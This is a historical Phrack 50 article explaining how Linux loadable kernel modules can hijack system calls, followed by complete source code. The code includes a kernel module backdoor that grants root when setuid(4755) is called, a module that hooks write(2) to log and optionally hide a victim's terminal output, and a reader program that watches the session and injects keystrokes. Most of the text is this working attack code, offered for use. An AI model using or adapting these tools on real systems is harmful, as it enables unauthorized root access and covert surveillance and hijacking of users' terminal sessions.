538 lines
13 KiB
Text
538 lines
13 KiB
Text
.oO Phrack 50 Oo.
|
|
|
|
Volume Seven, Issue Fifty
|
|
|
|
5 of 16
|
|
|
|
============================================
|
|
Abuse of the Linux Kernel for Fun and Profit
|
|
halflife@infonexus.com
|
|
[guild corporation]
|
|
============================================
|
|
|
|
Introduction
|
|
------------
|
|
Loadable modules are a very useful feature in linux, as they let
|
|
you load device drivers on a as-needed basis. However, there is
|
|
a bad side: they make kernel hacking almost TOO easy. What happens
|
|
when you can no longer trust your own kernel...? This article describes
|
|
a simple way kernel modules can be easily abused.
|
|
|
|
System calls
|
|
------------
|
|
System calls. These are the lowest level of functions available, and
|
|
are implemented within the kernel. In this article, we will discuss how
|
|
they can be abused to let us write a very simplistic tty hijacker/monitor.
|
|
All code was written and designed for linux machines, and will not compile
|
|
on anything else, since we are mucking with the kernel.
|
|
|
|
TTY Hijackers, such as tap and ttywatcher are common on Solaris,
|
|
SunOS, and other systems with STREAMS, but Linux thus far has not had
|
|
a useful tty hijacker (note: I don't consider pty based code such as
|
|
telnetsnoop to be a hijacker, nor very useful since you must make
|
|
preparations ahead of time to monitor users).
|
|
|
|
Since linux currently lacks STREAMS (LinSTREAMS appears to be dead),
|
|
we must come up with a alternative way to monitor the stream. Stuffing
|
|
keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff
|
|
keystrokes into the input stream. The solution, of course, is to redirect
|
|
the write(2) system call to our own code which logs the contents of the
|
|
write if it is directed at our tty; we can then call the real write(2)
|
|
system call.
|
|
|
|
Clearly, a device driver is going to be the best way to do things. We
|
|
can read from the device to get the data that has been logged, and add
|
|
a ioctl or two in order to tell our code exactly what tty we want to log.
|
|
|
|
|
|
Redirection of system calls
|
|
---------------------------
|
|
System calls are pretty easy to redirect to our own code. It works in
|
|
principle like DOS terminate and stay resident code. We save the old
|
|
address in a variable, then set a new one pointing to our code. In our
|
|
code, we do our thing, and then call the original code when finished.
|
|
|
|
A very simple example of this is contained in hacked_setuid.c, which
|
|
is a simple loadable module that you can insmod, and once it is inserted
|
|
into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0.
|
|
(See the appended file for all the code.) The addresses for the
|
|
syscalls are contained in the sys_call_table array. It is relatively easy
|
|
to redirect syscalls to point to our code. Once we have done this, many
|
|
things are possible...
|
|
|
|
Linspy notes
|
|
------------
|
|
This module is VERY easy to spot, all you have to do is cat /proc/modules
|
|
and it shows up as plain as day. Things can be done to fix this, but I
|
|
have no intention on doing them.
|
|
|
|
To use linspy, you need to create an ltap device, the major should
|
|
be 40 and the minor should be 0. After you do that, run make and then
|
|
insmod the linspy device. Once it is inserted, you can run ltread [tty]
|
|
and if all goes well, you should see stuff that is output to the user's
|
|
screen. If all does not go well ... well, I shall leave that to your
|
|
nightmares.
|
|
|
|
The Code [use the included extract.c utility to unarchive the code]
|
|
---------------------------------------------------------------------
|
|
|
|
|
|
<++> linspy/Makefile
|
|
CONFIG_KERNELD=-DCONFIG_KERNELD
|
|
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
|
|
CC=gcc
|
|
# this is the name of the device you have (or will) made with mknod
|
|
DN = '-DDEVICE_NAME="/dev/ltap"'
|
|
# 1.2.x need this to compile, comment out on 1.3+ kernels
|
|
V = #-DNEED_VERSION
|
|
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
|
|
|
|
all: linspy ltread setuid
|
|
|
|
linspy: linspy.c /usr/include/linux/version.h
|
|
$(CC) $(MODCFLAGS) -c linspy.c
|
|
|
|
ltread:
|
|
$(CC) $(DN) -o ltread ltread.c
|
|
|
|
clean:
|
|
rm *.o ltread
|
|
|
|
setuid: hacked_setuid.c /usr/include/linux/version.h
|
|
$(CC) $(MODCFLAGS) -c hacked_setuid.c
|
|
|
|
<--> end Makefile
|
|
<++> linspy/hacked_setuid.c
|
|
int errno;
|
|
#include <linux/sched.h>
|
|
#include <linux/mm.h>
|
|
#include <linux/malloc.h>
|
|
#include <linux/errno.h>
|
|
#include <linux/sched.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/times.h>
|
|
#include <linux/utsname.h>
|
|
#include <linux/param.h>
|
|
#include <linux/resource.h>
|
|
#include <linux/signal.h>
|
|
#include <linux/string.h>
|
|
#include <linux/ptrace.h>
|
|
#include <linux/stat.h>
|
|
#include <linux/mman.h>
|
|
#include <linux/mm.h>
|
|
#include <asm/segment.h>
|
|
#include <asm/io.h>
|
|
#include <linux/module.h>
|
|
#include <linux/version.h>
|
|
#include <errno.h>
|
|
#include <linux/unistd.h>
|
|
#include <string.h>
|
|
#include <asm/string.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/types.h>
|
|
#include <sys/sysmacros.h>
|
|
#ifdef NEED_VERSION
|
|
static char kernel_version[] = UTS_RELEASE;
|
|
#endif
|
|
static inline _syscall1(int, setuid, uid_t, uid);
|
|
extern void *sys_call_table[];
|
|
void *original_setuid;
|
|
extern int hacked_setuid(uid_t uid)
|
|
{
|
|
int i;
|
|
if(uid == 4755)
|
|
{
|
|
current->uid = current->euid = current->gid = current->egid = 0;
|
|
return 0;
|
|
}
|
|
sys_call_table[SYS_setuid] = original_setuid;
|
|
i = setuid(uid);
|
|
sys_call_table[SYS_setuid] = hacked_setuid;
|
|
if(i == -1) return -errno;
|
|
else return i;
|
|
}
|
|
int init_module(void)
|
|
{
|
|
original_setuid = sys_call_table[SYS_setuid];
|
|
sys_call_table[SYS_setuid] = hacked_setuid;
|
|
return 0;
|
|
}
|
|
void cleanup_module(void)
|
|
{
|
|
sys_call_table[SYS_setuid] = original_setuid;
|
|
}
|
|
<++> linspy/linspy.c
|
|
int errno;
|
|
#include <linux/tty.h>
|
|
#include <linux/sched.h>
|
|
#include <linux/mm.h>
|
|
#include <linux/malloc.h>
|
|
#include <linux/errno.h>
|
|
#include <linux/sched.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/times.h>
|
|
#include <linux/utsname.h>
|
|
#include <linux/param.h>
|
|
#include <linux/resource.h>
|
|
#include <linux/signal.h>
|
|
#include <linux/string.h>
|
|
#include <linux/ptrace.h>
|
|
#include <linux/stat.h>
|
|
#include <linux/mman.h>
|
|
#include <linux/mm.h>
|
|
#include <asm/segment.h>
|
|
#include <asm/io.h>
|
|
#ifdef MODULE
|
|
#include <linux/module.h>
|
|
#include <linux/version.h>
|
|
#endif
|
|
#include <errno.h>
|
|
#include <asm/segment.h>
|
|
#include <linux/unistd.h>
|
|
#include <string.h>
|
|
#include <asm/string.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/types.h>
|
|
#include <sys/sysmacros.h>
|
|
#include <linux/vt.h>
|
|
|
|
/* set the version information, if needed */
|
|
#ifdef NEED_VERSION
|
|
static char kernel_version[] = UTS_RELEASE;
|
|
#endif
|
|
|
|
#ifndef MIN
|
|
#define MIN(a,b) ((a) < (b) ? (a) : (b))
|
|
#endif
|
|
|
|
/* ring buffer info */
|
|
|
|
#define BUFFERSZ 2048
|
|
char buffer[BUFFERSZ];
|
|
int queue_head = 0;
|
|
int queue_tail = 0;
|
|
|
|
/* taken_over indicates if the victim can see any output */
|
|
int taken_over = 0;
|
|
|
|
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
|
|
extern void *sys_call_table[];
|
|
|
|
/* device info for the linspy device, and the device we are watching */
|
|
static int linspy_major = 40;
|
|
int tty_minor = -1;
|
|
int tty_major = 4;
|
|
|
|
/* address of original write(2) syscall */
|
|
void *original_write;
|
|
|
|
void save_write(char *, size_t);
|
|
|
|
|
|
int out_queue(void)
|
|
{
|
|
int c;
|
|
if(queue_head == queue_tail) return -1;
|
|
c = buffer[queue_head];
|
|
queue_head++;
|
|
if(queue_head == BUFFERSZ) queue_head=0;
|
|
return c;
|
|
}
|
|
|
|
int in_queue(int ch)
|
|
{
|
|
if((queue_tail + 1) == queue_head) return 0;
|
|
buffer[queue_tail] = ch;
|
|
queue_tail++;
|
|
if(queue_tail == BUFFERSZ) queue_tail=0;
|
|
return 1;
|
|
}
|
|
|
|
|
|
/* check if it is the tty we are looking for */
|
|
int is_fd_tty(int fd)
|
|
{
|
|
struct file *f=NULL;
|
|
struct inode *inode=NULL;
|
|
int mymajor=0;
|
|
int myminor=0;
|
|
|
|
if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
|
|
return 0;
|
|
mymajor = major(inode->i_rdev);
|
|
myminor = minor(inode->i_rdev);
|
|
if(mymajor != tty_major) return 0;
|
|
if(myminor != tty_minor) return 0;
|
|
return 1;
|
|
}
|
|
|
|
/* this is the new write(2) replacement call */
|
|
extern int new_write(int fd, char *buf, size_t count)
|
|
{
|
|
int r;
|
|
if(is_fd_tty(fd))
|
|
{
|
|
if(count > 0)
|
|
save_write(buf, count);
|
|
if(taken_over) return count;
|
|
}
|
|
sys_call_table[SYS_write] = original_write;
|
|
r = write(fd, buf, count);
|
|
sys_call_table[SYS_write] = new_write;
|
|
if(r == -1) return -errno;
|
|
else return r;
|
|
}
|
|
|
|
|
|
/* save data from the write(2) call into the buffer */
|
|
void save_write(char *buf, size_t count)
|
|
{
|
|
int i;
|
|
for(i=0;i < count;i++)
|
|
in_queue(get_fs_byte(buf+i));
|
|
}
|
|
|
|
/* read from the ltap device - return data from queue */
|
|
static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
|
|
{
|
|
int i;
|
|
int c;
|
|
int cnt=0;
|
|
if(current->euid != 0) return 0;
|
|
for(i=0;i < count;i++)
|
|
{
|
|
c = out_queue();
|
|
if(c < 0) break;
|
|
cnt++;
|
|
put_fs_byte(c, buf+i);
|
|
}
|
|
return cnt;
|
|
}
|
|
|
|
/* open the ltap device */
|
|
static int linspy_open(struct inode *in, struct file *fi)
|
|
{
|
|
if(current->euid != 0) return -EIO;
|
|
MOD_INC_USE_COUNT;
|
|
return 0;
|
|
}
|
|
|
|
/* close the ltap device */
|
|
static void linspy_close(struct inode *in, struct file *fi)
|
|
{
|
|
taken_over=0;
|
|
tty_minor = -1;
|
|
MOD_DEC_USE_COUNT;
|
|
}
|
|
|
|
/* some ioctl operations */
|
|
static int
|
|
linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
|
|
{
|
|
#define LS_SETMAJOR 0
|
|
#define LS_SETMINOR 1
|
|
#define LS_FLUSHBUF 2
|
|
#define LS_TOGGLE 3
|
|
|
|
if(current->euid != 0) return -EIO;
|
|
switch(cmd)
|
|
{
|
|
case LS_SETMAJOR:
|
|
tty_major = args;
|
|
queue_head = 0;
|
|
queue_tail = 0;
|
|
break;
|
|
case LS_SETMINOR:
|
|
tty_minor = args;
|
|
queue_head = 0;
|
|
queue_tail = 0;
|
|
break;
|
|
case LS_FLUSHBUF:
|
|
queue_head=0;
|
|
queue_tail=0;
|
|
break;
|
|
case LS_TOGGLE:
|
|
if(taken_over) taken_over=0;
|
|
else taken_over=1;
|
|
break;
|
|
default:
|
|
return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
|
|
static struct file_operations linspy = {
|
|
NULL,
|
|
linspy_read,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
linspy_ioctl,
|
|
NULL,
|
|
linspy_open,
|
|
linspy_close,
|
|
NULL
|
|
};
|
|
|
|
|
|
/* init the loadable module */
|
|
int init_module(void)
|
|
{
|
|
original_write = sys_call_table[SYS_write];
|
|
sys_call_table[SYS_write] = new_write;
|
|
if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
|
|
return 0;
|
|
}
|
|
|
|
/* cleanup module before being removed */
|
|
void cleanup_module(void)
|
|
{
|
|
sys_call_table[SYS_write] = original_write;
|
|
unregister_chrdev(linspy_major, "linspy");
|
|
}
|
|
<--> end linspy.c
|
|
<++> linspy/ltread.c
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <termios.h>
|
|
#include <string.h>
|
|
#include <fcntl.h>
|
|
#include <signal.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/sysmacros.h>
|
|
|
|
struct termios save_termios;
|
|
int ttysavefd = -1;
|
|
int fd;
|
|
|
|
#ifndef DEVICE_NAME
|
|
#define DEVICE_NAME "/dev/ltap"
|
|
#endif
|
|
|
|
#define LS_SETMAJOR 0
|
|
#define LS_SETMINOR 1
|
|
|
|
#define LS_FLUSHBUF 2
|
|
#define LS_TOGGLE 3
|
|
|
|
void stuff_keystroke(int fd, char key)
|
|
{
|
|
ioctl(fd, TIOCSTI, &key);
|
|
}
|
|
|
|
int tty_cbreak(int fd)
|
|
{
|
|
struct termios buff;
|
|
if(tcgetattr(fd, &save_termios) < 0)
|
|
return -1;
|
|
buff = save_termios;
|
|
buff.c_lflag &= ~(ECHO | ICANON);
|
|
buff.c_cc[VMIN] = 0;
|
|
buff.c_cc[VTIME] = 0;
|
|
if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
|
|
return -1;
|
|
ttysavefd = fd;
|
|
return 0;
|
|
}
|
|
|
|
char *get_device(char *basedevice)
|
|
{
|
|
static char devname[1024];
|
|
int fd;
|
|
|
|
if(strlen(basedevice) > 128) return NULL;
|
|
if(basedevice[0] == '/')
|
|
strcpy(devname, basedevice);
|
|
else
|
|
sprintf(devname, "/dev/%s", basedevice);
|
|
fd = open(devname, O_RDONLY);
|
|
if(fd < 0) return NULL;
|
|
if(!isatty(fd)) return NULL;
|
|
close(fd);
|
|
return devname;
|
|
}
|
|
|
|
|
|
int do_ioctl(char *device)
|
|
{
|
|
struct stat mystat;
|
|
|
|
if(stat(device, &mystat) < 0) return -1;
|
|
fd = open(DEVICE_NAME, O_RDONLY);
|
|
if(fd < 0) return -1;
|
|
if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
|
|
if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
|
|
}
|
|
|
|
|
|
void sigint_handler(int s)
|
|
{
|
|
exit(s);
|
|
}
|
|
|
|
void cleanup_atexit(void)
|
|
{
|
|
puts(" ");
|
|
if(ttysavefd >= 0)
|
|
tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
|
|
}
|
|
|
|
main(int argc, char **argv)
|
|
{
|
|
int my_tty;
|
|
char *devname;
|
|
unsigned char ch;
|
|
int i;
|
|
|
|
if(argc != 2)
|
|
{
|
|
fprintf(stderr, "%s ttyname\n", argv[0]);
|
|
fprintf(stderr, "ttyname should NOT be your current tty!\n");
|
|
exit(0);
|
|
}
|
|
devname = get_device(argv[1]);
|
|
if(devname == NULL)
|
|
{
|
|
perror("get_device");
|
|
exit(0);
|
|
}
|
|
if(tty_cbreak(0) < 0)
|
|
{
|
|
perror("tty_cbreak");
|
|
exit(0);
|
|
}
|
|
atexit(cleanup_atexit);
|
|
signal(SIGINT, sigint_handler);
|
|
if(do_ioctl(devname) < 0)
|
|
{
|
|
perror("do_ioctl");
|
|
exit(0);
|
|
}
|
|
my_tty = open(devname, O_RDWR);
|
|
if(my_tty == -1) exit(0);
|
|
setvbuf(stdout, NULL, _IONBF, 0);
|
|
printf("[now monitoring session]\n");
|
|
while(1)
|
|
{
|
|
i = read(0, &ch, 1);
|
|
if(i > 0)
|
|
{
|
|
if(ch == 24)
|
|
{
|
|
ioctl(fd, LS_TOGGLE, 0);
|
|
printf("[Takeover mode toggled]\n");
|
|
}
|
|
else stuff_keystroke(my_tty, ch);
|
|
}
|
|
i = read(fd, &ch, 1);
|
|
if(i > 0)
|
|
putchar(ch);
|
|
}
|
|
}
|
|
<--> end ltread.c
|
|
|
|
|
|
EOF
|